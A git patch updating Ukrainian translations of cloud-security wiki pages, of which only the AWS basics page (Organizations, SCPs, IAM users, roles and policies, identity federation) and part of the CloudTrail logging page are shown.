From 18b60b9450207e9bbed54f02f4d70a892b6d043e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Feb 2025 23:53:36 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 84 ++++---- .../aws-cloudtrail-enum.md | 52 ++--- .../aws-cloudwatch-enum.md | 80 ++++---- .../az-cloud-shell-persistence.md | 12 +- .../az-blob-storage-post-exploitation.md | 4 +- .../az-cosmosDB-post-exploitation.md | 85 ++------ .../az-file-share-post-exploitation.md | 4 +- .../az-logic-apps-post-exploitation.md | 67 ++----- .../az-mysql-post-exploitation.md | 67 ++----- .../az-postgresql-post-exploitation.md | 53 ++--- .../az-sql-post-exploitation.md | 20 +- .../az-cosmosDB-privesc.md | 25 +-- .../az-functions-app-privesc.md | 93 ++++----- .../az-key-vault-privesc.md | 2 +- .../az-logic-apps-privesc.md | 24 +-- .../az-mysql-privesc.md | 33 +--- .../az-postgresql-privesc.md | 30 +-- .../az-servicebus-privesc.md | 4 +- .../az-privilege-escalation/az-sql-privesc.md | 18 +- .../az-storage-privesc.md | 32 +-- .../azure-security/az-services/az-azuread.md | 187 ++++++++---------- .../az-services/az-cloud-shell.md | 29 +-- .../azure-security/az-services/az-cosmosDB.md | 86 +++----- .../az-services/az-file-shares.md | 22 +-- .../az-services/az-function-apps.md | 41 ++-- .../az-services/az-logic-apps.md | 58 +++--- .../azure-security/az-services/az-mysql.md | 52 ++--- .../az-services/az-postgresql.md | 69 +++---- .../az-services/az-queue-enum.md | 16 +- .../az-services/az-servicebus-enum.md | 28 ++- .../azure-security/az-services/vms/README.md | 32 +-- .../az-services/vms/az-azure-network.md | 35 ++-- .../kubernetes-securitycontext-s.md | 19 +- 33 files changed, 587 insertions(+), 876 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 0fb550dff..05f71569f 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,17 +10,17 @@ В AWS є **кореневий обліковий запис,** який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою. -Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями. +Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо не створені спеціальні мости), таким чином ви можете створити межі між розгортаннями. -Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не про облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників. +Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників. - **Обліковий запис управління (кореневий обліковий запис)** - це обліковий запис, який ви використовуєте для створення організації. З облікового запису управління організації ви можете зробити наступне: - Створити облікові записи в організації -- Запросити інші існуючі облікові записи в організацію +- Запросити інші існуючі облікові записи до організації - Видалити облікові записи з організації - Керувати запрошеннями -- Застосовувати політики до сутностей (корені, OU або облікові записи) в межах організації +- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації - Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації. - Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації. @@ -33,26 +33,26 @@ aws organizations create-account --account-name testingaccount --email testingac ``` ### **Організаційні одиниці** -Облікові записи можуть бути згруповані в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні. +Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для сутностей у членських облікових записах**. +**Політика контролю сервісів (SCP)** - це політика, яка визначає сервіси та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**. Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\ Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований). > [!WARNING] -> Зверніть увагу, що **SCP лише обмежують принципалів в обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі. +> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі. Приклади SCP: - Повна заборона кореневого облікового запису - Дозволити лише конкретні регіони -- Дозволити лише білий список послуг +- Дозволити лише сервіси зі списку дозволених - Заборонити GuardDuty, CloudTrail та S3 Public Block Access від вимкнення @@ -68,7 +68,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ### ARN -**Ідентифікатор ресурсу Amazon (ARN)** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так: +**Amazon Resource Name** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env @@ -92,7 +92,7 @@ IAM можна визначити за його здатністю керува ### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого ви отримуєте доступ, увійшовши за допомогою **електронної адреси та пароля, які ви використовували для створення облікового запису**. +Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши з **електронною адресою та паролем, які ви використовували для створення облікового запису**. Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**. @@ -100,7 +100,7 @@ IAM можна визначити за його здатністю керува ### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль і до двох ключів доступу). +Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу). Коли ви створюєте користувача IAM, ви надаєте йому **дозволи**, роблячи його **членом групи користувачів**, до якої прикріплені відповідні політики дозволів (рекомендується), або **безпосередньо прикріплюючи політики** до користувача. @@ -109,10 +109,10 @@ IAM можна визначити за його здатністю керува #### CLI - **ID ключа доступу**: 20 випадкових великих алфавітно-цифрових символів, таких як AKHDNAPO86BSHKDIRYT -- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретного ключа доступу). +- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретних ключів доступу). Коли вам потрібно **змінити ключ доступу**, це процес, який ви повинні виконати:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +_Створіть новий ключ доступу -> Застосуйте новий ключ до системи/додатку -> позначте оригінальний як неактивний -> протестуйте та перевірте, що новий ключ доступу працює -> видаліть старий ключ доступу_ ### MFA - Багатофакторна аутентифікація @@ -142,12 +142,12 @@ aws sts get-session-token --serial-number --token-code - Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**. - **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів. -- **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї. +- Існує **жодна група користувачів за замовчуванням, яка автоматично включає всіх користувачів у обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї. - Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб бути **прийнятою будь-ким, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM. +Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. Користувач **IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM. Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**. @@ -168,8 +168,8 @@ aws sts get-session-token --serial-number --token-code - Політики, керовані AWS (попередньо налаштовані AWS) - Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні. -За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо явно вказана роль.\ -Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують кореневі облікові дані безпеки облікового запису AWS (які за замовчуванням дозволені). +За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо була вказана явна роль.\ +Якщо **існує єдиний "Deny", він переважатиме "Allow"**, за винятком запитів, які використовують облікові дані безпеки кореневого облікового запису AWS (які за замовчуванням дозволені). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -192,8 +192,8 @@ aws sts get-session-token --serial-number --token-code ] } ``` -Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\ -Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут. +Глобальні поля, які можуть бути використані для умов у будь-якій службі, задокументовані тут.\ +Специфічні поля, які можуть бути використані для умов для кожної служби, задокументовані тут. #### Вбудовані політики @@ -208,11 +208,11 @@ aws sts get-session-token --serial-number --token-code ### Межі IAM -Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати. +Межі IAM можуть бути використані для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати. Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· бакети, це максимальне, що він може зробити. -**Це**, **SCPs** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно. +**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно. ### Політики сесії @@ -226,44 +226,44 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ ця сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**. -### Федерація особистостей +### Федерація ідентичності -Федерація особистостей **дозволяє користувачам з постачальників особистостей, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\ -Прикладом постачальника особистостей може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS. +Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\ +Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині отримати доступ до AWS. -Щоб налаштувати це довір'я, **генерується постачальник особистостей IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику особистостей**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль. +Щоб налаштувати це довір'я, створюється **постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль. -Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику особистостей, і стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу. +Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
-### IAM Identity Center +### IAM Центр ідентичності -AWS IAM Identity Center (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків. +AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків. Домен для входу буде чимось на зразок `.awsapps.com`. -Для входу користувачів можна використовувати 3 джерела особистостей: +Для входу користувачів можна використовувати 3 джерела ідентичності: -- Identity Center Directory: Звичайні користувачі AWS +- Довідник Центру ідентичності: Звичайні користувачі AWS - Active Directory: Підтримує різні конектори -- Зовнішній постачальник особистостей: Всі користувачі та групи походять від зовнішнього постачальника особистостей (IdP) +- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
-У найпростішому випадку каталогу Identity Center, **Identity Center матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації. +У найпростішому випадку довідника Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації. -Щоб надати доступ користувачу/групі Identity Center до облікового запису, **буде створено постачальника особистостей SAML, який довіряє Identity Center**, і **роль, що довіряє постачальнику особистостей з вказаними політиками, буде створена** в цільовому обліковому записі. +Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, що довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі. #### AwsSSOInlinePolicy -Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Identity Center**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Identity Center**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**. +Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**. -Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вона має однакові дозволи**. +Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**. ### Довірчі відносини та ролі між обліковими записами @@ -288,18 +288,20 @@ AWS IAM Identity Center (наступник AWS Single Sign-On) розширює ### Інші варіанти IAM -- Ви можете **встановити параметри політики паролів**, такі як мінімальна довжина та вимоги до паролів. +- Ви можете **встановити налаштування політики паролів**, такі як мінімальна довжина та вимоги до паролів. - Ви можете **завантажити "Звіт про облікові дані"** з інформацією про поточні облікові дані (такі як час створення користувача, чи увімкнено пароль...). Ви можете генерувати звіт про облікові дані так часто, як раз на **чотири години**. -AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всьому AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**. +AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всій AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**. ### Префікси IAM ID На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **IAM ID префікси** ключів залежно від їх природи: -| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Код ідентифікатора | Опис | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Облікові дані, специфічні для контексту | +| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + +| ACCA | Контекстно-специфічні облікові дані | | AGPA | Група користувачів | | AIDA | Користувач IAM | | AIPA | Профіль екземпляра Amazon EC2 | @@ -343,7 +345,7 @@ region = eu-west-2 ``` Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn --role-session-name sessname`) і налаштовувати облікові дані. -Ви можете використовувати файл `~/.aws/config`, щоб [ **вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\ +Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\ Приклад конфігураційного файлу: ``` [profile acc2] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 1877dab7e..21fc06b95 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,14 +4,14 @@ ## **CloudTrail** -AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам. +AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи хто, що, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпекових позицій і забезпечення відповідності регуляторним вимогам. Кожна зафіксована подія містить: -- Ім'я викликаного API: `eventName` -- Викликаний сервіс: `eventSource` +- Назву викликаного API: `eventName` +- Викликану службу: `eventSource` - Час: `eventTime` -- IP-адреса: `SourceIPAddress` +- IP-адресу: `SourceIPAddress` - Метод агента: `userAgent`. Приклади: - Signing.amazonaws.com - З AWS Management Console - console.amazonaws.com - Кореневий користувач облікового запису @@ -24,12 +24,12 @@ AWS CloudTrail **реєструє та моніторить активність CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\ При створенні Trail селектори подій дозволять вам вказати, які події реєструвати: управлінські, дані або події аналітики. -Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами. +Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS і своїми ключами. Журнали зберігаються в **кошику S3 з таким форматом імені**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Ім'я кошика: **`aws-cloudtrail-logs--`** +- Де BucketName: **`aws-cloudtrail-logs--`** - Приклад: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** У кожній папці кожен журнал матиме **ім'я, що відповідає цьому формату**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** @@ -48,14 +48,14 @@ CloudTrail дозволяє використовувати **цілісніст - Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу - Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1 -Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS. +Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать до одного облікового запису AWS. > [!CAUTION] > Пам'ятайте, що обліковий запис може мати **різні Trails** з CloudTrail **увімкненими**, зберігаючи однакові (або різні) журнали в різних кошиках. ### CloudTrail з усіх облікових записів організації в 1 -При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик: +При створенні CloudTrail можливо вказати активувати CloudTrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:
@@ -83,23 +83,23 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Інсайти -**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо спостерігається збільшення подій `TerminateInstance`, що відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли. +**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли. Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Безпека - -| Цілісність файлів логів CloudTrail |
  • Перевірити, чи не були змінені логи (модифіковані або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ, що належить Amazon
  • Створення файлу дайджесту займає 1 годину (виконується щогодини)
| +| Назва контролю | Деталі реалізації | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Зупинити несанкціонований доступ |
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування логів
| -| Запобігти видаленню файлів логів |
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати S3 MFA видалення
  • Перевірити за допомогою валідації файлів логів
| +| Цілісність файлів логів CloudTrail |
  • Перевірити, чи логи були підроблені (змінені або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ належить Amazon
  • Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
| +| Зупинити несанкціонований доступ |
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування логів
| +| Запобігти видаленню файлів логів |
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати S3 MFA видалення
  • Перевірити за допомогою валідації файлів логів
| -## Консультант доступу +## Консультант з доступу -AWS Access Advisor спирається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Access Advisor використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Access Advisor може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання. +AWS Access Advisor покладається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант з доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант з доступу може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання. > [!TIP] -> Отже, Access Advisor інформує про **необхідні дозволи, що надаються користувачам**, щоб адміністратор міг їх видалити +> 